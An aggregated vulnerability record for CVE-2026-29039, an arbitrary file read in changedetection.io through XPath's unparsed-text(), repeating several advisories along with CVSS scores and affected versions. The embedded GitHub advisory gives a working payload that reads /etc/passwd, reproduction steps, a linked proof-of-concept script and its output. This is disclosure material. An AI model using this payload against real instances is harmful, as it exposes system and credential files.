CVE-2026-29039
changedetection.io: XPath - Arbitrary File Read via unparsed-text()
changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, the changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification. XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process. This issue has been patched in version 0.54.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.8
changedetection.io: XPath - Arbitrary File Read via unparsed-text()
changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, the changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification. XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process. This issue has been patched in version 0.54.4.
- Record
CVE-2026-29039- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2026-10012
8.8
changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, the changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification. XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process. This issue has been patched in version 0.54.4.
- Record
EUVD-2026-10012- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6fmw-82m7-jq6p
8.8
changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text()
Summary
-
The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.
-
XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.
Data Flow
User Input (include_filters field)
↓
forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety
↓
Watch configuration stored in datastore
↓
Scheduled fetch triggers html_tools.py processing
↓
html_tools.py:xpath_filter() at line 213
↓
elementpath.select(root, xpath_expression, parser=XPath3Parser)
↓
XPath 3.0 unparsed-text('file:///etc/passwd') executed
↓
File contents returned as "filtered content"
↓
Stored as snapshot, viewable in UI
Affected Code File: changedetectionio/html_tools.py Function: xpath_filter() Lines: 187-220
def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):
# ...
from elementpath import XPath3Parser # XPath 3.0 with dangerous functions
# ...
r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser) # Line 213
Validation (forms.py):
class ValidateCSSJSONXPATHInput:
def __call__(self, form, field):
# Only checks if XPath is syntactically valid
# Does NOT check for dangerous functions like unparsed-text()
Details
- Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance
- Create a new watch with any valid URL (e.g., https://example.com)
- Edit the watch and set the "CSS/JSONPath/JQ/XPath Filters" field to:
xpath:unparsed-text('file:///etc/passwd')
- Save and trigger a recheck
- View the preview/snapshot - the file contents will be displayed
<img width="2800" height="1108" alt="image" src="https://github.com/user-attachments/assets/f39df9c3-52c9-4fa8-ab57-75c7d4955017" />
PoC
python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py
python3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd
╔═══════════════════════════════════════════════════════════════╗
║ XPath 3.0 Arbitrary File Read Exploit ║
║ Target: changedetection.io ║
║ Vulnerability: unparsed-text() in XPath filters ║
╚═══════════════════════════════════════════════════════════════╝
[*] Creating new watch for https://example.com...
[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1
[*] Setting XPath filter to read: /etc/passwd
[+] XPath filter set successfully
[*] Triggering recheck...
[*] Waiting for check to complete...
[*] Retrieving file contents...
[+] SUCCESS! File contents retrieved:
============================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin…
- Record
GHSA-6fmw-82m7-jq6p- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
8.8
changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, the changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification. XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process. This issue has been patched in version 0.54.4.
- Record
CVE-2026-29039- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
8.8
changedetection.io: XPath - Arbitrary File Read via unparsed-text()
changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, the changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification. XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process. This issue has been patched in version 0.54.4.
- Record
CVE-2026-29039- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-6fmw-82m7-jq6p
8.8
changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text()
Summary
-
The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.
-
XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.
Data Flow
User Input (include_filters field)
↓
forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety
↓
Watch configuration stored in datastore
↓
Scheduled fetch triggers html_tools.py processing
↓
html_tools.py:xpath_filter() at line 213
↓
elementpath.select(root, xpath_expression, parser=XPath3Parser)
↓
XPath 3.0 unparsed-text('file:///etc/passwd') executed
↓
File contents returned as "filtered content"
↓
Stored as snapshot, viewable in UI
Affected Code File: changedetectionio/html_tools.py Function: xpath_filter() Lines: 187-220
def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):
# ...
from elementpath import XPath3Parser # XPath 3.0 with dangerous functions
# ...
r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser) # Line 213
Validation (forms.py):
class ValidateCSSJSONXPATHInput:
def __call__(self, form, field):
# Only checks if XPath is syntactically valid
# Does NOT check for dangerous functions like unparsed-text()
Details
- Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance
- Create a new watch with any valid URL (e.g., https://example.com)
- Edit the watch and set the "CSS/JSONPath/JQ/XPath Filters" field to:
xpath:unparsed-text('file:///etc/passwd')
- Save and trigger a recheck
- View the preview/snapshot - the file contents will be displayed
<img width="2800" height="1108" alt="image" src="https://github.com/user-attachments/assets/f39df9c3-52c9-4fa8-ab57-75c7d4955017" />
PoC
python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py
python3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd
╔═══════════════════════════════════════════════════════════════╗
║ XPath 3.0 Arbitrary File Read Exploit ║
║ Target: changedetection.io ║
║ Vulnerability: unparsed-text() in XPath filters ║
╚═══════════════════════════════════════════════════════════════╝
[*] Creating new watch for https://example.com...
[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1
[*] Setting XPath filter to read: /etc/passwd
[+] XPath filter set successfully
[*] Triggering recheck...
[*] Waiting for check to complete...
[*] Retrieving file contents...
[+] SUCCESS! File contents retrieved:
============================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin…
- Record
GHSA-6fmw-82m7-jq6p- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVPYSEC-2026-2128
7.5
changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, the changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification. XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process. This issue has been patched in version 0.54.4.
- Record
PYSEC-2026-2128- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
changedetection-ioPyPI |
through 0.54.3 | 0.54.4 |
changedetection-ioPyPI |
before 0.54.4, plus listed versions 0.38.20.390.39.10.39.100.39.10.post1 Show 45 moreShow less0.39.10.post20.39.110.39.120.39.130.39.13.10.39.140.39.14.10.39.150.39.160.39.170.39.17.10.39.17.20.39.180.39.190.39.19.10.39.20.39.200.39.20.10.39.20.20.39.20.30.39.20.40.39.210.39.21.10.39.220.39.22.10.39.30.39.40.39.50.39.60.39.70.39.80.39.90.40.00.40.0.10.40.0.20.40.0.30.40.0.40.40.1.00.40.1.10.40.20.40.30.410.41.10.420.42.1 |
0.54.4 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-29039 is a high vulnerability (CVSS 8.8) in Dgtlmoon Changedetection.io, published March 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.54%, the 45th percentile. Fixed in changedetection-io 0.54.4.
References
github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-6fmw-82m7-jq6p
github.com/dgtlmoon/changedetection.io/commit/417d57e5749441e4be9acc4010369bded805d66f
github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4
nvd.nist.gov/vuln/detail/CVE-2026-29039
github.com/advisories/GHSA-6fmw-82m7-jq6p
github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29039.json
github.com/dgtlmoon/changedetection.io
Left out here: 139 versions and the rest of 2 source descriptions. The JSON record has them.